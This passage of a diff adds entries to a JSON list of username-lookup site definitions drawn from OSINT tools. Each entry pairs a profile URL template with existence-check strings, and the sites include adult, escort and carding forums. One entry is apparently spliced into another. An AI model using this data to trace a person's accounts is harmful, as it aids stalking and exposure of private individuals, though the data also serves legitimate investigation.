"https://bugcrowd.com/{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": ">Bugcrowd | Error", + "match_string": "s researcher profile on Bugcrowd" + }, + { + "name": "BugCrowd", + "url": "https://bugcrowd.com/{}/profile_widgets", + "category": "tech", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "class='cc-error-page__msg'", + "match_code": 200, + "match_string": "\"widgets\":" + }, + { + "name": "bugku", + "url": "https://www.bugku.com/space-username-{}.html", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "message", + "match_code": 200 + }, + { + "name": "Build_opensuse", + "url": "https://build.opensuse.org/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Bukkit", + "url": "https://bukkit.org//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bukkit", + "url": "https://bukkit.org/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Bulbanews", + "url": "https://bulbanews.bulbagarden.net/wiki/User:{}", + "category": "news", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "bulbapedia.bulbagarden.net", + "url": "https://bulbapedia.bulbagarden.net/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bulbapp.com", + "url": "https://bulbapp.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "bull-baza.at.ua", + "url": "http://bull-baza.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Bunpro", + "url": "https://community.bunpro.jp/u/{}.json", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The requested URL or resource could not be found.", + "match_code": 200, + "match_string": "username" + }, + { + "name": "buyforex.ucoz.ru", + "url": "http://buyforex.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BuyMeACoffee", + "url": "https://buymeacoff.ee/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Buymeacoffee", + "url": "https://www.buymeacoffee.com/{}", + "category": "finance", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Buymeacoffee", + "url": "https://buymeacoffee.com/{}", + "category": "finance", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "seem to find the page", + "match_string": "creator-csrf" + }, + { + "name": "BuzzFeed", + "url": "https://buzzfeed.com/{}", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "BuzzFeed", + "url": "https://www.buzzfeed.com/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "We can't find the page you're looking for", + "match_code": 200, + "match_string": " on BuzzFeedAuthor: - Buzznet" + }, + { + "name": "Buzznet", + "url": "https://www.buzznet.com/author/{}/", + "category": "news", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you are looking for can't be found.", + "match_code": 200, + "match_string": "Author:" + }, + { + "name": "Bybio", + "url": "https://bybio.co/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "404 not found", + "match_string": "BYBIO" + }, + { + "name": "Bylkov", + "url": "https://www.bylkov.ru/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "Byond", + "url": "https://www.byond.com/members/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Announcements about BYOND's software and website.", + "match_string": "Shoutbox" + }, + { + "name": "Byxatab", + "url": "https://byxatab.com/user/{}/", + "category": "tech", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Cad", + "url": "https://cad.ru/ru/forum/index.php?PAGE_NAME=profile_view&UID={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0424\u043e\u0440\u0443\u043c" + }, + { + "name": "cadaverzian.ucoz.ru", + "url": "http://cadaverzian.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Caddy Community", + "url": "https://caddy.community/u/{}/summary", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "caddy.community", + "url": "https://caddy.community/u/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Caduser", + "url": "https://www.caduser.ru/forum/userlist.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "cafecito", + "url": "https://cafecito.app/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Es posible que el enlace que seleccionaste est\u00e9 roto o que se haya eliminado la p\u00e1gina", + "match_code": 200, + "match_string": " | Cafecito" + }, + { + "name": "Caldina-club", + "url": "https://caldina-club.com/search.php?cache=1&keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "calendly.com", + "url": "https://calendly.com/{}/15min", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking for could not be found", + "match_string": "profile" + }, + { + "name": "Calendy", + "url": "https://calendly.com/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Sorry, but the page you were looking for could not be found.", + "match_code": 200, + "match_string": "og:author" + }, + { + "name": "Cameo", + "url": "https://www.cameo.com/{}", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 301, + "match_code": 200, + "match_string": "aggregateRating" + }, + { + "name": "Cameraprive", + "url": "https://cameraprive.com/br/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "header-profile" + }, + { + "name": "Camlust", + "url": "https://camlust.com/en/models/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "page not found", + "match_string": "in Free Chat Roulette" + }, + { + "name": "Cams Reviews", + "url": "https://www.cams.reviews/?search={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">No Webcam Models Found.", + "match_string": "webcam models that match your search." + }, + { + "name": "CamSextacy", + "url": "https://www.camsextacy.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": ">Error, page not found
    ", + "match_string": "Cam: Free Live Nude Sex Show & Chat - CamSextacy" + }, + { + "name": "Camsoda", + "url": "https://camsoda.com/{}", + "category": "adult", + "source": "social_analyzer", + "nsfw": true, + "error_type": "message", + "match_string": "My Media" + }, + { + "name": "CamWithHer (users)", + "url": "https://camwithher.com/{}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "page not found", + "match_string": "Free Live Nude Sex Show" + }, + { + "name": "Candy Shop Escorts (Manchester, ENG)", + "url": "https://candyshopescorts.co.uk/escorts/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking for doesn't exist or has been moved.", + "match_string": "
    Age
    " + }, + { + "name": "Canva", + "url": "https://canva.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "CapFriendly", + "url": "https://www.capfriendly.com/users/{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "
    No results found
    " + }, + { + "name": "Capfriendly", + "url": "https://capfriendly.com/users/{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "No results found" + }, + { + "name": "CapitalcityCombats", + "url": "http://capitalcity.combats.com/inf.pl?{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0430 \u043e\u0448\u0438\u0431\u043a\u0430" + }, + { + "name": "Car Talk Community", + "url": "https://community.cartalk.com/u/{}/summary", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Car72", + "url": "https://www.car72.ru/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f" + }, + { + "name": "Caravaning", + "url": "http://caravaning.in.ua/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Caravanistan", + "url": "https://caravanistan.com/forum/search.php?keywords=&terms=all&author={}&sc=1&sf=all&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=Search", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No suitable matches were found." + }, + { + "name": "caravelgames", + "url": "http://forum.caravelgames.com/member.php?Action=viewprofile&username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Guest" + }, + { + "name": "Carbonmade", + "url": "https://{}.carbonmade.com", + "category": "professional", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Carbonmade", + "url": "https://{}.carbonmade.com/", + "category": "professional", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "site not found", + "match_code": 200, + "match_string": "s online portfolio" + }, + { + "name": "CardingForum", + "url": "https://cardingforum.co/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Cardingsite", + "url": "https://cardingsite.cc/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Cardmates", + "url": "https://cardmates.net/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "SimplePlanes Airplanes", + "match_code": 200, + "match_string": "
    joined" + }, + { + "name": "Sinful Feet", + "url": "https://sinfulfeet.com/models/{}.html", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Page not found", + "match_string": "SinfulFeet | " + }, + { + "name": "Sitepoint", + "url": "https://sitepoint.com/community/u/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Sitepoint", + "url": "https://sitepoint.com/u/{}", + "category": "tech", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Skeb.jp", + "url": "https://skeb.jp/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Skeb - Request Box", + "match_string": ") | Skeb" + }, + { + "name": "sketchfab.com", + "url": "https://sketchfab.com/{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SkodaForum", + "url": "http://www.skodaforum.ru/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "skorozamuj.com", + "url": "http://skorozamuj.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skyblock", + "url": "https://skyblock.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Skybrary", + "url": "https://skybrary.aero/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Skynetzone", + "url": "https://skynetzone.net/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "skynetzone.net", + "url": "https://skynetzone.net/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skypli", + "url": "https://www.skypli.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nothing found", + "match_string": "profile-box__info" + }, + { + "name": "Skyrimforums", + "url": "https://skyrimforums.org/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skyrimforums", + "url": "https://skyrimforum.com/forum/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Skyrock", + "url": "https://{}.skyrock.com/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SkyscraperCity", + "url": "https://www.skyscrapercity.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Skyscrapercity", + "url": "https://www.skyscrapercity.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Slack", + "url": "https://{}.slack.com", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SlackHoles", + "url": "https://slackholes.com/actor/{}/", + "category": "adult", + "source": "blackbird", + "nsfw": true, + "error_type": "status_code", + "error_code": 404, + "error_string": "It looks like nothing was found at this location", + "match_code": 200, + "match_string": "Pussy and Ass Sizes" + }, + { + "name": "sladkiydesert.ucoz.ru", + "url": "http://sladkiydesert.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Slamdunk", + "url": "https://www.slamdunk.ru/search/?&q={}&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "Slant.co", + "url": "https://www.slant.co/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404 - Page Not Found - Slant", + "match_string": "s Profile - Slant" + }, + { + "name": "Slashdot", + "url": "https://slashdot.org/~{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "user you requested does not exist" + }, + { + "name": "Slides", + "url": "https://slides.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SlideShare", + "url": "https://www.slideshare.net/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "blankProfile", + "match_string": "user-name" + }, + { + "name": "SlideShare", + "url": "https://slideshare.net/{}", + "category": "other", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page no longer exists" + }, + { + "name": "Slivap", + "url": "https://slivap.ru/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "slivap.ru", + "url": "https://slivap.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "slivsklad.ru", + "url": "https://slivsklad.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "sloboganec.at.ua", + "url": "http://sloboganec.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sluts Around Town", + "url": "https://slutsaroundtown.com/video_tag/{}/", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Page Not Found", + "match_string": "post-title" + }, + { + "name": "Smallcar", + "url": "https://www.smallcar.ru/talk/profile.php?mode=viewprofile&u={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u00cf\u00f0\u00ee\u00f4\u00e8\u00eb\u00fc \u00ef\u00ee\u00eb\u00fc\u00e7\u00ee\u00e2\u00e0\u00f2\u00e5\u00eb\u00ff <" + }, + { + "name": "smart-lab.ru", + "url": "https://smart-lab.ru/profile/{}/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "404" + }, + { + "name": "smart-phone.ucoz.ua", + "url": "http://smart-phone.ucoz.ua/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "smarton.at.ua", + "url": "http://smarton.at.ua/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "smartplay.ucoz.ru", + "url": "http://smartplay.ucoz.ru/index/8-0-{}", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smashcast", + "url": "https://www.smashcast.tv/api/media/live/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smashrun", + "url": "https://smashrun.com/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "smelsy", + "url": "https://www.smelsy.com/profile/{}", + "category": "other", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 500, + "error_string": "Server Error", + "match_code": 200, + "match_string": "Smelsy -" + }, + { + "name": "SmiHub", + "url": "https://smihub.com/v/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "text-lg mb-3", + "match_string": "profile" + }, + { + "name": "Smite", + "url": "https://smite.gamepedia.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Smogon", + "url": "https://www.smogon.com/forums/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found." + }, + { + "name": "smokingmeatforums.com", + "url": "https://smokingmeatforums.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smolmama", + "url": "https://smolmama.com/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "sms.portalsms.ru", + "url": "http://sms.portalsms.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smugmug", + "url": "https://{}.smugmug.com/", + "category": "art", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SmugMug", + "url": "https://{}.smugmug.com", + "category": "art", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Smule", + "url": "https://www.smule.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Smule | Page Not Found (404)", + "match_string": "Profile: " + }, + { + "name": "smule", + "url": "https://www.smule.com/api/profile/?handle={}", + "category": "music", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "code\": 65", + "match_code": 200, + "match_string": "account_id" + }, + { + "name": "Smule", + "url": "https://smule.com/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "The page you are looking", + "match_string": "username:" + }, + { + "name": "Snapchat", + "url": "https://www.snapchat.com/add/{}", + "category": "social", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snapchat", + "url": "https://www.snapchat.com/@{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "NOT_FOUND", + "match_code": 200, + "match_string": "is on Snapchat!" + }, + { + "name": "Snapchat", + "url": "https://feelinsonice.appspot.com/web/deeplink/snapcode?username={}&size=400&type=SVG", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "http://www.w3.org/1999/xlink", + "match_code": 200, + "match_string": "</clipPath>" + }, + { + "name": "Snapchat", + "url": "https://snapchat.com/add/{}", + "category": "social", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "NoContent_title", + "match_string": "Header_displayNameText" + }, + { + "name": "Snapchat Stories", + "url": "https://story.snapchat.com/s/{}", + "category": "social", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Not_Found", + "match_code": 200, + "match_string": "is on Snapchat!" + }, + { + "name": "Snbforums", + "url": "https://www.snbforums.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "snegovaya-pad.ucoz.ru", + "url": "http://snegovaya-pad.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snicket", + "url": "https://snicket.wikia.com/wiki/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "sniperforums.com", + "url": "https://sniperforums.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snipfeed", + "url": "https://snipfeed.co/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "Oops, you hit a dead end!", + "match_code": 200, + "match_string": "creatorLink" + }, + { + "name": "snipplr.com", + "url": "https://snipplr.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snooth", + "url": "https://www.snooth.com/author/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>Page not found", + "match_string": "content=\"https://www.snooth.com/author/" + }, + { + "name": "snowblowerforum.com", + "url": "https://snowblowerforum.com/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Snowjapan", + "url": "https://www.snowjapan.com/community/index.php?/search/&q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Found 0 results" + }, + { + "name": "so4ineniya.ucoz.ru", + "url": "http://so4ineniya.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soberu", + "url": "https://yasobe.ru/na/{}", + "category": "shopping", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Soborno", + "url": "https://soborno.ru/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "soc-life.com", + "url": "http://soc-life.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code", + "match_string": "sc-tabs\"><div>\u041b\u043e\u0433\u0438\u043d:" + }, + { + "name": "socforum.3dn.ru", + "url": "http://socforum.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Sochi_profi", + "url": "https://sochi.profi.ru/profile/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Social", + "url": "https://social.msdn.microsoft.com/profile/{}/", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"statistics\"" + }, + { + "name": "social.bund.de", + "url": "https://social.bund.de/@{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "<title>The page you are looking for isn't here.", + "match_code": 200, + "match_string": "@social.bund.de) - social.bund.de" + }, + { + "name": "social.msdn.microsoft.com", + "url": "https://social.msdn.microsoft.com/profile/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "social.tchncs.de", + "url": "https://social.tchncs.de/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Social_microsoft", + "url": "https://social.microsoft.com/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "The resource you are looking for has been removed" + }, + { + "name": "Socialblade", + "url": "https://socialblade.com/youtube/user/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "SocialLibremOne", + "url": "https://social.librem.one/@{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Society Service Escorts (Holland & Belgium)", + "url": "https://www.societyservice.com/escort/{}", + "category": "adult", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "find your perfect", + "match_string": "profile" + }, + { + "name": "Society Service Gigolos (Holland & Belgium)", + "url": "https://www.societyservice.com/gigolo/{}", + "category": "news", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "find your perfect", + "match_string": "profile" + }, + { + "name": "society6.com", + "url": "https://society6.com/{}/all", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Socioforum", + "url": "https://www.socioforum.su/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Socionics", + "url": "http://www.socionics.org/user/Profile.aspx?username={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "soft-deniz.ucoz.ru", + "url": "http://soft-deniz.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "soft-wm.3dn.ru", + "url": "http://soft-wm.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "softal.3dn.ru", + "url": "http://softal.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Softboard", + "url": "https://softboard.ru/search/?q={}&quick=1&type=core_members", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "0 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u043e\u0432" + }, + { + "name": "softgame.3dn.ru", + "url": "http://softgame.3dn.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "SoftwareInformer", + "url": "https://users.software.informer.com/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "sofurry", + "url": "https://{}.sofurry.com", + "category": "art", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "SoFurry - Error | SoFurry", + "match_code": 200, + "match_string": "'s Profile | SoFurry" + }, + { + "name": "sokal.ucoz.lv", + "url": "http://sokal.ucoz.lv/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Solaris-club", + "url": "https://solaris-club.net/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "soldati-russian.ru", + "url": "http://soldati-russian.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Solikick", + "url": "https://solikick.com/-{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "This item has been removed or is no longer available", + "match_string": "page_guest_users-view" + }, + { + "name": "solo.to", + "url": "https://solo.to/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "The page you're looking for isn't here.", + "match_code": 200, + "match_string": "create your own page" + }, + { + "name": "Soloby", + "url": "http://www.soloby.ru/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0421\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u0430" + }, + { + "name": "Somersoft", + "url": "https://www.somersoft.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" 